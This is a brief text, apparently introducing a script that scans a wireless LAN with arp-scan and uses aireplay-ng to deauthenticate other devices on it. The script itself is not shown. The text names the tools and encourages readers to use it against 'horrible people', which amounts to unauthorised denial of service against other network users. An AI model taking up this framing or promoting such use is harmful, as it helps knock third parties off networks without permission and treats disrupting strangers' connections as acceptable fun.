The below script will find other devices on the wireless LAN with you and deauthenticate them, in the spirit of antisocial networking.
It requires a GNU/Linux host, aireplay-ng and arp-scan, all of which are in the repositories for most Linux distributions.
Feel free to use it on networks with horrible people and/or devices.
